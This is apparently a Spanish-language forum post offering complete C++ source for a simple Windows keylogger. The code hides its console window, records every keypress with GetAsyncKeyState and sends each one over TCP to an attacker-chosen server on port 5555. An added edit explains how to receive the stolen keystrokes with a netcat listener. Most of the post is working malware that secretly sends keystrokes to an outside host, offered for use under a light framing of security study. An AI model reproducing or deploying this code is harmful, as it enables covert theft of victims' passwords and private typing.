Hola muchachos, estoy repasando algunas cosas en C++ enfocado a la seguridad informática en general y me parece una buena idea dejarles el código de un Keylogger muy simple :D
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#pragma comment(lib, "Ws2_32.lib")
#include <iostream>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
int main(){
ShowWindow(GetConsoleWindow(), SW_HIDE);
char KEY;
WSADATA WSAData;
SOCKET server;
SOCKADDR_IN addr;
WSAStartup(MAKEWORD(2, 0), &WSAData);
server = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_addr.s_addr = inet_addr("IP DEL SERVIDOR"); //IP DEL SERVIDOR (Oyente).
addr.sin_family = AF_INET;
addr.sin_port = htons(5555); //Puerto de comunicación.
connect(server, (SOCKADDR *)&addr, sizeof(addr));
while(true){
Sleep(10);
for (int KEY = 0x8; KEY < 0xFF; KEY++){
if (GetAsyncKeyState(KEY) == -32767){
char buffer[2];
buffer[0] = KEY;
send(server, buffer, sizeof(buffer), 0);
}
}
}
closesocket(server);
WSACleanup();
}
EDIT:
Y si se preguntan... ok, pongo mi IP y el puerto está en el 5555. Como veo las pulsaciones?
Pueden hacerlo con netcat.
En linux, escriben el comando
sudo nc -lvp 5555
Y dejan la sesión abierta.
Saludos!